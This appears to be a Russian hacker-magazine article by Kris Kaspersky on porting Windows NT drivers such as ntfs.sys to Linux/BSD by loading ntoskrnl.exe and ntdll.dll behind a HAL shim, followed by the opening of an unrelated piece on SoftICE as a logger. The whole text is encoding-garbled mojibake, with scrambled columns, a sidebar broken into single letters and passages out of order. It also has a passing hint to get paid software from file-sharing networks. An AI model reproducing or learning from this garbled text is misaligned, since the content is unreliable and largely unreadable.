ÑÈÕ ÏÎÐ ÎÄÍÈÌ ÈÇ ÃËÀÂÍÛÕ ÍÅ-
ÄÎÑÒÀÒÊÎÂ UNIX-ÑÈÑÒÅÌ ßÂËß-

ÅÒÑß ÎÒÑÓÒÑÒÂÈÅ ÍÎÐÌÀËÜÍÛÕ
ÄÐÀÉÂÅÐÎÂ ÏÎÄ ÂÑÅÂÎÇÌÎÆÍÛÅ
«ÂÊÓÑÍÛÅ» ÆÅËÅÇÊÈ, Ñ ÊÎÒÎÐÛ-
ÌÈ WINDOWS ÑÏÐÀÂËßÅÒÑß ÁÅÇ
ÏÐÎÁËÅÌ. ÍÀ ÑÀÌÎÌ ÄÅËÅ ÏÐÎÁ-
ËÅÌÓ ÌÎÆÍÎ ÐÅØÈÒÜ, È ÝÒÀ
ÑÒÀÒÜß ÐÀÑÑÊÀÆÅÒ ÊÀÊ 
| Êðèñ Êàñïåðñêè àêà ìûùúõ

[âèðòóàëüíûå ìàøèíû] Ïðåæäå ÷åì ñòàâèòü Linux/BSD, çàäóìàéñÿ
çà÷åì, ñîáñòâåííî, âñå ýòî íóæíî? Åñëè åñòü æåëàíèå ïîùóïàòü àëüòåð-
íàòèâíóþ ñèñòåìó, îñâîèòü ñðåäñòâà ðàçðàáîòêè èëè êîìïèëèðîâàòü èñ-
õîäíûå òåêñòû, òî íàèëó÷øèì âûáîðîì áóäåò âèðòóàëüíàÿ ìàøèíà, òà-
êàÿ êàê, íàïðèìåð, VMWare. Fedora Core íà íåé, êîíå÷íî, æóòêî òîðìî-
çèò (íà P-III 733 ðàáîòàòü âîîáùå íåâîçìîæíî), íî Debian ñ KDE èäåò
âïîëíå íîðìàëüíî. Õî÷åøü � ðàçðàáàòûâàé ïðîãðàììû, õî÷åøü � ÷è-
òàé man'û. Åùå è â èãðû òèïà Star Wars ìîæíî ïîèãðàòü. Íèêàêèõ äðàé-
âåðîâ â ýòîì ñëó÷àå íå ïîòðåáóåòñÿ, â ñìûñëå «íèêàêèõ äðàéâåðîâ
ñâåðõ òîãî, ÷òî åñòü â ëþáîì íîðìàëüíîì äèñòðèáóòèâå». Áîëüøèíñòâî

ðàçðàáîò÷èêîâ èìåííî òàê è ïîñòóïàþò. Êàê íè êðóòè, à ëþáîé óâàæàþ-
ùèé ñåáÿ UNIX-ïðîãðàììèñò âûíóæäåí äåðæàòü íà êîìïüþòåðå äåñÿòîê
îñåé ðàçëè÷íûõ ïîðîä, ÷òîáû òåñòèðîâàòü ñâîè ïðîãðàììû íà ñîâìåñòè-
ìîñòü. Íà «æèâîì» êîìïüþòåðå ïåðåêëþ÷åíèÿ ìåæäó íèìè ïðîèñõîäÿò
òîëüêî ÷åðåç ïåðåçàãðóçêó, ÷òî íå åñòü õîðîøî, à âèðòóàëüíûå ìàøèíû
ïåðåêëþ÷àþòñÿ, êàê êàðóñåëü.
Ìîæíî ïîñòóïèòü è íàîáîðîò. Óñòàíîâèòü Linux/BSD êàê áàçîâóþ ñèñòå-
ìó, à Windows âîäðóçèòü íà âèðòóàëüíóþ ìàøèíó. Ïîñêîëüêó VMWare
äàåò ïðÿìîé äîñòóï ê COM/LPT/USB ïîðòàì, òî ïîäêëþ÷åíèå ñêàíå-
ðà/ïðèíòåðà/öèôðîâîé êàìåðû ê òâîåé ìàøèíå óæå íå ñòàíåò ïðîáëå-Þ

Í
È

Ò
Û

Ê
Ð

Å
À

Ò
È

Ô
Ô

Ê
Î

Ä
È

Í
Ã

[U
N

IX
O

ID
]

Ñ
Ö

Å
Í

À
Â

Ç
Ë

Î
Ì

È
Ì

Ï
Ë

À
Í

Ò
P

C
_

Z
O

N
E

Í
Ü

Þ
Ñ

Û
F

E
R

R
U

M

Òóðáî-ïåðåíîñ äðàéâåðîâ èç Windows â Linux/BSD

Áîåâîå èèñêóññòâî ïïîðòèðîâàíèÿ
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äðàéâåðó äëÿ ðàáîòû. Î, äà! Äëÿ ýòîãî íåîáõîäèìî óìåòü ïðîãðàììèðî-
âàòü! Äëÿ ïðîñòûõ ñìåðòíûõ ïîëüçîâàòåëåé òàêîé ðåöåïò ñîâåðøåííî
íå ãîäèòñÿ, íî òóò óæå íè÷åãî íå ïîïèøåøü. Òåì íå ìåíåå ïåðåíåñòè ãî-
òîâûé äðàéâåð íàìíîãî ïðîùå, ÷åì ïåðåïèñàòü åãî ñ íóëÿ. Êàê ìèíè-
ìóì, íå ïîòðåáóåòñÿ ïðîâîäèòü êðîïîòëèâóþ ðàáîòó ïî äèçàññåìáëèðî-
âàíèþ îðèãèíàëüíîãî êîäà, çàìåíÿþùóþ ñîáîé ïîèñê òåõíè÷åñêîé äîêó-
ìåíòàöèè (êîòîðàÿ ëèáî ñîâñåì îòñóòñòâóåò, ëèáî îòäàåòñÿ òîëüêî ïîä
ïîäïèñêó î íåðàçãëàøåíèè, çà÷àñòóþ çàïðåùàþùåå îòêðûòîå ðàñïðîñò-
ðàíåíèå èñõîäíûõ òåêñòîâ). Ê òîìó æå, ïðè âûõîäå íîâûõ âåðñèé
Windows-äðàéâåðà, ïðîöåäóðà îáíîâëåíèÿ Linux/BSD ïîðòà ñóùåñòâåí-
íî óïðîùàåòñÿ, ïðîñòî ñêîïèðîâàë ïîâåðõ ñòàðîãî ôàéëà, è âñå. Íî âñå
ýòî òåîðèÿ. Ïåðåéäåì ê äåòàëÿì.
ßäåðíàÿ ìîäåëü Windows NT è âñåõ ïðîèçâîäíûõ îò íåå îïåðàöèîííûõ
ñèñòåì (êàê Windows 2000, XP, 2003) äîñòàòî÷íî ïðîñòà. Ñ «âíåøíèì»
ìèðîì ÿäðî ñâÿçûâàåò Äèñïåò÷åð Ñèñòåìíûõ Ñåðâèñîâ, «ïîäêëþ÷åí-
íûé» ê ntdll.dll. Ýòà áèáëèîòåêà íàõîäèòñÿ óæå çà «ñêîðëóïîé» ÿäðà è èñ-
ïîëíÿåòñÿ â ïîëüçîâàòåëüñêîì ðåæèìå. Äèñïåò÷åð Ñèñòåìíûõ Ñåðâè-
ñîâ, ðåàëèçîâàííûé â ntoskrnl.exe, îïèðàåòñÿ íà Âûçûâàåìûå Èíòåð-
ôåéñû ßäðà, ÷àñòü êîòîðûõ ðåàëèçîâàíà âíóòðè ñàìîãî ntoskrnl.exe, à
÷àñòü � âî âíåøíèõ äðàéâåðàõ, ê ÷èñëó êîòîðûõ ïðèíàäëåæèò Äèñïåò-
÷åð Ýëåêòðîïèòàíèÿ. Îïðåäåëåííûé êëàññ äðàéâåðîâ, íàçûâàåìûé
Äðàéâåðàìè Óñòðîéñòâ ôàéëîâîé ñèñòåìû, íàõîäèòñÿ â ñâîåîáðàçíîé
«ñêîðëóïå» è âçàèìîäåéñòâóåò ñ Äèñïåò÷åðîì Ñèñòåìíûõ Âûçîâîâ ÷å-
ðåç Äèñïåò÷åð ââîäà-âûâîäà, ðåàëèçîâàííûé â ntoskrnl.exe!
ßäðî, íà êîòîðîì, êàê íà ôóíäàìåíòå, äåðæàòñÿ âñå âûøåóïîìÿíóòûå
êîìïîíåíòû, ïðåäñòàâëÿåò ñîáîé ñîâîêóïíîñòü íèçêîóðîâíåâûõ ôóíê-
öèé, ñîñðåäîòî÷åííûõ... Ïðàâèëüíî! Â ntoskrnl.exe! Íèæå íàõîäèòñÿ
òîëüêî ñëîé àáñòðàãèðîâàíèÿ îò îáîðóäîâàíèÿ, èëè ñîêðàùåííî HAL
(Hardware Abstraction Level). Êîãäà-òî ó Microsoft áûëà èäåÿ ðàçäåëèòü
ÿäðî íà ñèñòåìíî-çàâèñèìóþ è ñèñòåìíî-íåçàâèñèìóþ ÷àñòè, ÷òîáû óï-
ðîñòèòü ïåðåíîñ Windows íà äðóãèå ïëàòôîðìû, íî óæå âî âðåìåíà NT
4.x âñå ïåðåìåøàëîñü, è áîëüøàÿ ÷àñòü ñèñòåìíî-çàâèñèìûõ ôóíêöèé
ïîïàëà â ntoskrnl.exe, à ñåãîäíÿ îò HAL ïðàêòè÷åñêè îòêàçàëèñü. Â íåì
îñòàëîñü íåáîëüøîå êîëè÷åñòâî äåéñòâèòåëüíî íèçêîóðîâíåâûõ ôóíê-
öèé, íåïîñðåäñòâåííî âçàèìîäåéñòâóþùèõ ñ îáîðóäîâàíèåì. Â ÷àñòíîñ-
òè, ñ ïîðòàìè è ñ DMA. Íî â ÿäðå Linux/BSD åñòü ñâîè ôóíêöèè äëÿ ðà-
áîòû ñ DMA, òàê ÷òî òàùèòü çà ñîáîé HAL íàì ñîâåðøåííî íåîáÿçàòåëü-
íî, òåì áîëåå ÷òî äðàéâåðà âçàèìîäåéñòâóþò ñ DMA íå íàïðÿìóþ, à ÷å-
ðåç Plug-n-Pray ìåíåäæåð, êîòîðûé íàõîäèòñÿ â ntoskrnl.exe.
Òàêèì îáðàçîì, åñëè çàñòàâèòü ntoskrnl.exe ðàáîòàòü â ñðåäå ÷óæåðîä-
íîãî åìó Linux'à (èëè BSD), ìû ïîëó÷èì âîçìîæíîñòü çàïóñêàòü ëþáûå
NT-äðàéâåðà áåç êàêîé-ëèáî äîðàáîòêè èõ äâîè÷íîãî êîäà. Ýòî íå òîëü-
êî óïðîùàåò çàäà÷ó ïåðåíîñà, íî è ñíèìàåò ïðîáëåìó òàê íàçûâàåìûõ
«àâòîðñêèõ ïðàâ». Èíòåãðàöèÿ ñ Åâðîïîé èäåò ïîëíûì õîäîì, Òðåòèé
Ðèì (èçâåñòíûé ïîä ëîãîòèïîì USA) ðâåòñÿ â çàñíåæåííûå ëåñà Ðîñ-

ñèè, âñþäó óñòàíàâëèâàÿ ñâîè ïîðÿäêè è çàêî-
íû. Ëþáîé îáëàäàòåëü ëèöåíçèîííîé êîïèè
Windows âïðàâå âûçûâàòü ãîòîâûé äðàéâåð îò-
êóäà óãîäíî áåç êàêèõ áû òî íè áûëî ðàçðåøå-
íèé è áåç âûïëàòû äîïîëíèòåëüíîãî âîçíàã-
ðàæäåíèÿ, íî ìîäèôèöèðîâàòü äâîè÷íûé êîä
åìó ïîçâîëÿò åäâà ëè.
Íî ìû âåäü è íå ñîáèðàåìñÿ íè÷åãî ìîäèôèöè-
ðîâàòü! Ìû áåðåì ãîòîâûé ntoskrnl.exe è...
ñîáñòâåííî, ýòî âñå. Ðàáîòû ïðåäñòîèò íå òàê
óæ è ìíîãî. Äîñòàòî÷íî ñïðîåöèðîâàòü åãî ïî
àäðåñàì, óêàçàííûì â çàãîëîâêå PE-ôàéëà (à
ntoskrnl.exe � ýòî îáû÷íûé PE-Ôàéë) è ðàçîá-
ðàòüñÿ ñ òàáëèöåé ýêñïîðòà, èñïîëüçóåìîé
äðàéâåðàìè. Êîðî÷å ãîâîðÿ, ìû äîëæíû ðåàëè-
çîâàòü ñâîé ñîáñòâåííûé PE-çàãðóç÷èê è ðàç-
ìåñòèòü åãî â çàãðóæàåìûé ìîäóëü ÿäðà èëè â
ñàìî ÿäðî. ×òîáû íå ìó÷èòüñÿ, ìîæíî õëåáíóòü
âèíà è ñîäðàòü ãîòîâûé çàãðóç÷èê îòòóäà. Íåò,
ýòî íå ñïèðòíîé íàïèòîê, ýòî ýìóëÿòîð
Windows'à � Wine (Windows Emulator).
Âçàèìîäåéñòâèå ntoskrnl.exe ñ Linux/BSD ÿäðîì
áóäåò ïðîèñõîäèòü ÷åðåç ïåðåõîäíîé êîä, ýìó-
ëèðóþùèé HAL. Ýòîò êîä ìû áóäåì äîëæíû íà-
ïèñàòü ñàìè, îäíàêî íè÷åãî ñëîæíîãî â ýòîì
íåò, è îáúåì ðàáîòû ïðåäñòîèò ìèíèìàëüíûé,
ïîñêîëüêó HAL ñîäåðæèò íåìíîãî ôóíêöèé, äà
è òå ïðîñòûå, êàê ñàìîâàð. Ñëîæíåå ïîäðóæèòü
Äèñïåò÷åð Ñèñòåìíûõ Âûçîâîâ ñ âíåøíèì ìè-
ðîì, òî åñòü ìèðîì Linux/BSD. Îñíîâíàÿ ïðîá-
ëåìà â òîì, ÷òî èíòåðôåéñ Äèñïåò÷åðà íè ðàçó
íå äîêóìåíòèðîâàí è ê òîìó æå ïîäâåðæåí ïîñ-

ìîé. Ñ íåé áóäåò ðàáîòàòü Windows! Áàçîâàÿ UNIX-ìàøèíà â ýòîì ñëó-
÷àå ïîëó÷àåò â ñâîå ðàñïîðÿæåíèå âñå ñèñòåìíûå ðåñóðñû, è ïàäåíèÿ
ïðîèçâîäèòåëüíîñòè óæå íå ïðîèñõîäèò, íî ïîÿâëÿþòñÿ äðóãèå ïðîáëå-
ìû. Windows-ïðèëîæåíèÿ (íàïðèìåð, èãðóøêè) áóäóò ëèáî ñèëüíî òîð-
ìîçèòü, ëèáî îòêàæóòñÿ çàïóñêàòüñÿ ñîâñåì, ê òîìó æå ñî âñåìè îñòàëü-
íûìè òèïàìè óñòðîéñòâ, íàïðèìåð, èíòåãðèðîâàííîé WLAN ïëàòîé èëè
âèäåîêàðòîé, Windows ðàáîòàòü íå ñìîæåò. À âñå ïîòîìó, ÷òî VMWare
ïðåäñòàâëÿåò ñîáîé çàêðûòûé ÿùèê, îòãîðîæåííûé îò áàçîâîé îïåðàöè-
îííîé ñèñòåìû òîëñòîé ñòåíîé ýìóëÿòîðà. Âîò åñëè áû ñóùåñòâîâàëà
âîçìîæíîñòü ïðåäîñòàâèòü âèðòóàëüíîé ìàøèíå ïîëíûé äîñòóï êî âñå-
ìó ôèçè÷åñêîìó îáîðóäîâàíèþ, âîò òîãäà áû... Ãîòîâüñÿ! Èìåííî òàêîé
ñïîñîá ìû è ñîáèðàåìñÿ îïèñàòü!

[äâà â îäíîì] Íà÷íåì ñ ïðîñòîãî, íî äî ñèõ ïîð íèêåì íå ðåøåííîãî
âîïðîñà, òî åñòü óæå äàâíî ðåøåííîãî, êîíå÷íî, íî ñîâñåì íå òàê, êàê
ñëåäóåò. Èçâåñòíî, ÷òî ïîääåðæêà NTFS-ðàçäåëîâ ïðåäñòàâëÿåò îãðîì-
íóþ ïðîáëåìó. Äðàéâåðà, íàó÷èâøèåñÿ ïèñàòü íà NTFS-ðàçäåë, ïîÿâè-
ëèñü ñîâñåì íåäàâíî, äà è òî ëèøü çàòåì, ÷òîáû ïîêðàñîâàòüñÿ íà âûñ-
òàâêàõ. Äëÿ ðåàëüíîé ðàáîòû îíè íå ãîäÿòñÿ, ïîòîìó ÷òî ðàáîòàþò íåñ-
òàáèëüíî è íåñóò íà ñâîåì ãîðáó êó÷ó îãðàíè÷åíèé. Ñæàòûå ôàéëû,
òðàíçàêöèè è êó÷à äðóãèõ âåùåé âñå åùå íå ïîääåðæèâàåòñÿ. Ê òîìó æå,
NTFS íå ñòîèò íà ìåñòå è õîòü è ìåäëåííî, íî ñîâåðøåíñòâóåòñÿ. Ìîæ-
íî ëè, õîòÿ áû òåîðåòè÷åñêè, íàïèñàòü 100% ñîâìåñòèìûé äðàéâåð, «ïå-
ðåâàðèâàþùèé» íîâûå âåðñèè NTFS áåç ó÷àñòèÿ ïðîãðàììèñòà? Âîïðîñ
ñîâñåì íå òàê íàèâåí, êàêèì êàæåòñÿ. Äëÿ ÷åãî íàì êîðïåòü íàä ñâîèì
ñîáñòâåííûì äðàéâåðîì, êîãäà ïîä ðóêîé åñòü óæå ãîòîâûé � ntfs.sys.
Åñëè ìû ñóìååì çàñòàâèòü åãî çàðàáîòàòü ïîä Linux, âñå ïðîáëåìû ðå-
øàòñÿ ñàìè ñîáîé.
Äà, íà óðîâíå ÿäðà Linux/BSD îòëè÷àåòñÿ îò Windows òàê æå, êàê ñëîíî-
ïîòàì îò êðîêîäèëà. Ðàçëè÷èé î÷åíü ìíîãî, íî ÷òî-òî îáùåå ìåæäó íèìè
âñå-òàêè åñòü. È Windows, è Linux, è BSD ðàáîòàþò íà x86-ïðîöåññîðàõ â
çàùèùåííîì ðåæèìå, èñïîëüçóþò ñòðàíè÷íóþ îðãàíèçàöèþ âèðòóàëüíîé
ïàìÿòè è âçàèìîäåéñòâóþò ñ îáîðóäîâàíèåì â ñòðîãî óñòàíîâëåííîì ïî-
ðÿäêå (÷åðåç èåðàðõèþ ôèçè÷åñêèõ è âèðòóàëüíûõ øèí). Âûñîêîóðîâíå-
âûå äðàéâåðà òàêèå, íàïðèìåð, êàê ntfs.sys, âîîáùå íå êàñàþòñÿ îáîðó-
äîâàíèÿ è ñîäåðæàò ìèíèìóì ñèñòåìíî-çàâèñèìîãî êîäà. Ïî÷åìó æå òîã-
äà äðàéâåð îò îäíîé ñèñòåìû íå ðàáîòàåò â äðóãîé? Ãëàâíûì îáðàçîì,
ïîòîìó ÷òî èíòåðôåéñ ìåæäó îñüþ è äðàéâåðîì â êàæäîì ñëó÷àå ðàçëè-
÷åí è åùå ïîòîìó, ÷òî äðàéâåð èñïîëüçóåò áèáëèîòåêó ôóíêöèé, ýêñïîð-
òèðóåìûõ ñèñòåìîé, è ýòè ôóíêöèè ó êàæäîé ñèñòåìû ñâîè.
Ïåðåíåñòè Windows-äðàéâåð â Linux/BSD âïîëíå ðåàëüíî! Äëÿ ýòîãî äà-
æå íå ïîòðåáóåòñÿ åãî èñõîäíûé êîä. Äîñòàòî÷íî ëèøü íàïèñàòü òîíêèé
è íåñëîæíûé «ïåðåõîäíèê» ìåæäó äðàéâåðîì è îïåðàöèîííîé ñèñòå-
ìîé, ïðèíèìàþùèé çàïðîñû è òðàíñëèðóþùèé èõ ïî âñåì ïðàâèëàìè
«ýòèêåòà», à òàêæå ïåðåòàùèòü áèáëèîòåêó ôóíêöèé, íåîáõîäèìûõ
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òîÿííûì èçìåíåíèÿì. À ïîòîì Microsoft âíîâü ïðèäóìàåò
íîâóþ ïàêîñòü, è âñÿ íàøà ðàáîòà îêàæåòñÿ áåñïîëåçíîé.
Ïîýòîìó ïðèõîäèòñÿ õèòðèòü è òàùèòü çà ñîáîé íå òîëüêî
ntoskrnl.exe, íî åùå è ntdll.dll. Íåêîòîðûå ìîãóò ñïðîñèòü: çà-
÷åì? Êàêîå îòíîøåíèå ntdll.dll èìååò ê äðàéâåðàì è ÿäðó?
Äðàéâåðà åãî íå âûçûâàþò, äà è ñàì ntdll.dll ïðåäñòàâëÿåò
ñîáîé âñåãî ëèøü íàáîð ïåðåõîäíèêîâ ê ntoskrnl.exe.
Äåëî â òîì, ÷òî èíòåðôåéñ ntdll.dll õóäî-áåäíî äîêóìåíòèðî-
âàí è îñòàåòñÿ ïðàêòè÷åñêè íåèçìåííûì óæå íà ïðîòÿæå-
íèè ìíîãèõ ëåò, ïîýòîìó åãî ñìåëî ìîæíî áðàòü çà îñíîâó.
Ïîñëå ýòîãî îñòàåòñÿ âñåãî ëèøü ñâÿçàòü ntdll.dll ñ ìèðîì
Linux/BSD, òî åñòü íàïèñàòü òðàíñëÿòîð çàïðîñîâ ê äðàéâå-
ðàì. Ýòî íå òàê-òî ïðîñòî ñäåëàòü, ïîñêîëüêó ïèñàòü ïðè-
äåòñÿ äîñòàòî÷íî ìíîãî, è ðàáîòà îòíèìåò íå îäèí äåíü è
äàæå íå îäíó íåäåëþ, à ñ ó÷åòîì îòëàäêè ïîòðåáóåòñÿ, êàê
ìèíèìóì, ìåñÿö. Íî ðàáîòà ñòîèò òîãî!
Ïî êðàéíåé ìåðå, â Linux/BSD íàëàäèòñÿ íîðìàëüíàÿ ðà-
áîòà ñ NTFS è íåêîòîðûìè äðóãèìè äðàéâåðàìè ââîäà-âû-
âîäà. Ñ âèäåîêàðòàìè, ïðàâäà, âñå çíà÷èòåëüíî ñëîæíåå,
ïîñêîëüêó îíè âçàèìîäåéñòâóþò îòíþäü íå ñ Äèñïåò÷åðîì
ââîäà-âûâîäà (êîòîðûé íàõîäèòñÿ âíóòðè ntoskrnl.exe), à ñ
ïîäñèñòåìîé win32. Â Windows 2000 îíà ðåàëèçîâàíà â
ôàéëå win2k.sys. Êàê îáñòîÿò äåëà â äðóãèõ ñèñòåìàõ � íå
çíàþ, äà ýòî è íå âàæíî. Äðàéâåð win2k.sys � ëèøü ìàëàÿ
÷àñòü òîãî, ÷òî åìó íóæíî äëÿ ðàáîòû, è ïðîñòî òàê ïåðå-
òàùèòü â Linux/BSD åãî íå ïîëó÷èòñÿ. Çà íèì íåèçáåæíî
ïîòÿíåòñÿ âñå åãî îêðóæåíèå, è íàïèñàòü ñòîëüêî «îáåðòîê» áóäåò
ïðàêòè÷åñêè íåðåàëüíî. Ðåàëüíî, êîíå÷íî, íî ñêîëüêî ýòî ïîòðåáóåò
âðåìåíè è ñèë? Ïåðåïèñàòü âèäåîäðàéâåð ãîðàçäî ïðîùå, íå ãîâîðÿ
óæå î òîì, ÷òî â ýòîì ñëó÷àå îí áóäåò áîëåå ïðîèçâîäèòåëåí. Êñòàòè
ãîâîðÿ, êîìïàíèè NVIDIA è ATI â ïîñëåäíåå âðåìÿ íàëàäèëè âûïóñê
Linux/BSD äðàéâåðîâ ïîä íàèáîëåå ïîïóëÿðíûå ÷èïñåòû, òàê ÷òî ïðîá-
ëåìà ñíèìàåòñÿ ñàìà ñîáîé.

[ãîòîâûé ïðèìåð ðåàëèçàöèè] Êîíêðåòíûå ïåðåíîñû äðàéâåðîâ èç
ìèðà Windows â Linux/BSD ìíå íåèçâåñòíû, îäíàêî ïîä MS-DOS, êàæåò-
ñÿ, åñòü ÷òî-òî ïîõîæåå. Ðå÷ü èäåò î ïðîåêòå Ìàðêà Ðóññèíîâè÷à NTFS
for MS-DOS � èçâåñòíîãî õàêåðà è èññëåäîâàòåëÿ íåäð NT. Áåñïëàòíóþ
âåðñèþ (www.sysinternals.com/Utilities/NtfsDosProfessional.html) ìîæåò
òîëüêî ÷èòàòü, à ïëàòíóþ ëåãêî íàéòè â Îñëå. Ñïåöèàëüíûé ìàñòåð óñ-
òàíîâêè ïðîñèò óêàçàòü ïóòü ê ñèñòåìíîìó êàòàëîãó Windows è ñîçäàåò
äâå äèñêåòû, íà êîòîðûå îæåñòî÷åííî çàïèñûâàåò ÷òî-òî òÿæåëîå.
Íà÷íåì ñ ïåðâîé äèñêåòû (êîòîðàÿ, êñòàòè ãîâîðÿ, îáû÷íî áûâàåò ñèñòåì-
íîé). Çäåñü íàõîäèòñÿ òîëüêî îäèí èñïîëíÿåìûé ôàéë ntfspro.exe, ïðåäñ-
òàâëÿþùèé ñîáîé òðàíñëÿòîð çàïðîñîâ, ñëèíêîâàííûé ñ ðàñøèðåíèåì çà-
ùèùåííîãî ðåæèìà WDOSX 0.96 DOS extender îò Michael Tippach.
Ôàéë ntfs.gz � ýòî «ðîäíîé» ntfs.sys äðàéâåð, âûòàùåííûé èç ñèñòåìíîãî
êàòàëîãà Windows è äëÿ ýêîíîìèè ìåñòà óïàêîâàííûé àðõèâàòîðîì gzip.
Äëÿ ðàñïàêîâêè íàì ïîòðåáóåòñÿ ëèáî Linux, ëèáî pkzip äëÿ Windows/MS-
DOS. Ñðàâíèâ åãî ñ îðèãèíàëüíûì ôàéëîì äðàéâåðà, ìû íå íàéäåì íèêà-
êèõ èçìåíåíèé! À ntoskrnl.gz � ýòî ÿäðî ñèñòåìû (ntoskrnl.exe), òî÷íî òàê
æå âûòàùåííîå è óïàêîâàííîå. Íèêàêèõ èçìåíåíèé â íåì íåò.
Íà äðóãîé äèñêåòå íàõîäèòñÿ ntdll.gz (î ïðîèñõîæäåíèè êîòîðîãî äîãà-
äàòüñÿ íåòðóäíî) è ntfschk.exe. Ïîñëåäíèé ïðåäñòàâëÿåò ñîáîé ïîë-
íîñòüþ ïåðåïèñàííûé âàðèàíò øòàòíîé óòèëèòû chkdsk.exe. ×òîáû çàñ-
òàâèòü êîíñîëüíîå ïðèëîæåíèå çàðàáîòàòü â MS-DOS, ïðèøëîñü áû

ýìóëèðîâàòü åùå ìíîæåñòâî ôóíêöèé, ÷òî â ïëàíû Ðóññèíîâè÷à, î÷å-
âèäíî, íå âõîäèëî (òåì íå ìåíåå ëåãåíäàðíûé õàêåð Þðèé Õàðîí âñå-òà-
êè ñîçäàë ðàñøèðèòåëü, ñïîñîáíûé çàïóñêàòü Windows-ïðèëîæåíèÿ èç-
ïîä ãîëîãî ÄÎÑ'à, áåç îáðàùåíèÿ ê Windows âîîáùå! Âñå óìåùàåòñÿ íà
îäíó äèñêåòêó � êðàñîòà! Ñàì ðàñøèðèòåëü ìîæíî ñêà÷àòü ñ
www.doswin32.com. Äëÿ íåêîììåð÷åñêîãî ïðèìåíåíèÿ îí áåñïëàòåí).
Åùå íà äèñêåòàõ ñîäåðæàòñÿ ôàéëû c_866.gz, autochk.gz, c_437.gz,
c_1252.gz, l_intl.gz, ñîäåðæàùèå ÿçûêîâûå ñòðàíèöû è ïðî÷óþ ñëóæåá-
íóþ ìèøóðó, áåç êîòîðîé ìîæíî è îáîéòèñü.
Ñóòü â òîì, ÷òî ÿäðî ïðîåêòà NTFS for MS-DOS ñîñòàâëÿþò òðè ôàéëà:
ntoskrnl.exe, ntdll.dll è ntfs.sys, êîòîðûå ïîìåùàþòñÿ â ñâîåîáðàçíóþ ñêîð-
ëóïó ôàéëà ntfspro.exe, ïåðåâîäÿùåãî ïðîöåññîð â çàùèùåííûé ðåæèì è
òðàíñëèðóþùåãî MS-DOS-çàïðîñû â ÿçûê, ïîíÿòíûé ntfs.sys, è íàîáîðîò.
Êàê âèäèøü, ýòî ðàáîòàåò. Êîíå÷íî, Linux/BSD � ýòî ñîâñåì íå ÷èñòàÿ
MS-DOS. ßäðî ïî-ñâîåìó ðàñïðåäåëÿåò ïðåðûâàíèÿ è äðóãèå ñèñòåìíûå
ðåñóðñû, ïîýòîìó ïðè íàïèñàíèè «ñêîðëóïû-îáîëî÷êè» âîçíèêàåò ìíîæå-
ñòâî òåõíè÷åñêèõ ïðîáëåì, íî âñå îíè ðåøàåìû. Ïðèìåð àíàëîãè÷íîãî
ðåøåíèÿ ìîæíî íàéòè â äðóãîì ïðîåêòå Ìàðêà Ðóññèíîâè÷à NTFS for
Windows 9x. Çäåñü òàêæå èñïîëüçóåòñÿ «ñêîðëóïà», ñîçäàþùàÿ àäåêâàò-
íîå îêðóæåíèå äëÿ ntoskrnl.exe è òðàíñëÿòîð çàïðîñîâ, íî îíà óæå ðàáîòà-
åò ñîâñåì íå â ãîëîé MS-DOS, ñ êîòîðîé âñå è òàê ÿñíî, à â àãðåññèâíîé
Windows 9x, êîòîðàÿ îòëè÷àåòñÿ îò NT íè÷óòü íå ìåíüøå, ÷åì Linux/BSD.

[çàêëþ÷åíèå] Òàê ÷òî íàïèñàòü äðàéâåðíóþ «ñêîðëóïó» äëÿ Linux/BSD
âïîëíå ðåàëüíî, è íè÷åãî ôàíòàñòè÷íîãî â ýòîì íåò. Åå äîñòàòî÷íî ñîç-
äàòü ëèøü îäíàæäû, ïîñëå ÷åãî ìîæíî áóäåò çàïóñêàòü ðàçëè÷íûå äðàé-
âåðà. Ïî÷åìó áû íàì, õàêåðàì, íå ñêîîïåðèðîâàòüñÿ è íå çàíÿòüñÿ ýòèì?
Íàïðèìåð, ñîçäàòü íîâûé ïðîåêò íà www.sourceforge.net, íàáðàòü ãðóïïó
è îòòÿíóòüñÿ ïî ïîëíîé ïðîãðàììå. Âåäü ýòî äåéñòâèòåëüíî ÕÀÊÅÐÑÒÂÎ,
à íå òîñêëèâûé áóõ è ñêëàä! Íó òàê ÷åãî æå ìû æäåì?! Ïîåõàëè

âèðòóàëüíàÿ Linux-ìàøèíà, ðàáîòàþùàÿ ïîä óïðàâëåíèåì Windows âèäåîäðàéâåðà äëÿ Linux, FreeBSD è Solaris îò NVIDIA

âèðòóàëüíàÿ Windows-ìàøèíà, ðàáîòàþùàÿ ïîä óïðàâëåíèåì Linux





Ó ìåíÿ òîæå äàâíî ÷åñàëèñü ëàïû íàïèñàòü ñòàòüþ íà òåìó ëîããèí-
ãà. Âçÿòü õîòÿ áû òåõ æå API-øïèîíîâ. Âñå ïðîãðàììû, êîòîðûå ÿ âè-
äåë, î÷åíü ÷àñòî ïàäàëè áåç âñÿêèõ âèäèìûõ ïðè÷èí èëè îáõîäèëèñü
âèðóñàìè/çàùèòíûìè ìåõàíèçìàìè, îñòàâëÿÿ ñàìûå öåííûå API-
ôóíêöèè çà ïðåäåëàìè ëîãà. Ê òîìó æå, ðàçìåð ñãåíåðèðîâàííûõ ëî-
ãîâ ïðîñòî îøåëîìëÿë. Ñðåäè ìèëëèîíîâ áåñòîëêîâûõ ñòðîê íå áû-
ëî ïðàêòè÷åñêè íè÷åãî èíòåðåñíîãî, à ñèñòåìà ôèëüòðàöèè ôóíêöèé
(äàæå åñëè îíà è ïðèñóòñòâîâàëà) òóïåå ìîåãî õâîñòà. Ìîæíî áûëî,
êîíå÷íî, ïðîïóñòèòü ëîã ÷åðåç âíåøíèé ôèëüòð, íàïèñàííûé íà
Perl'å èëè Ñè, íî âåäü ýòî æå ñêîëüêî ïðîãðàììèðîâàòü íàäî! Íå ãî-
âîðÿ óæå î òîì, ÷òî íàì ìîæåò ïîòðåáîâàòüñÿ èíôîðìàöèÿ, îòñóò-

SoftICE êêàê ëëîããåð

ÑÓÙÅÑÒÂÓÅÒ ÌÍÎÆÅÑÒÂÎ ÏÎËÅÇÍÛÕ ÑÎÔÒÈÍ, ÎÒÑ-
ËÅÆÈÂÀÞÙÈÕ ÂÑßÊÈÅ ÑÈÑÒÅÌÍÛÅ ÑÎÁÛÒÈß (ÍÀÏ-
ÐÈÌÅÐ, ØÏÈÎÍßÙÈÕ ÇÀ API-ÔÓÍÊÖÈßÌÈ). ÇÀ×ÀÑÒÓÞ
ÈÕ ÂÎÇÌÎÆÍÎÑÒÈ ÑÈËÜÍÎ ÎÃÐÀÍÈ×ÅÍÛ, È ÏÎÝÒÎÌÓ
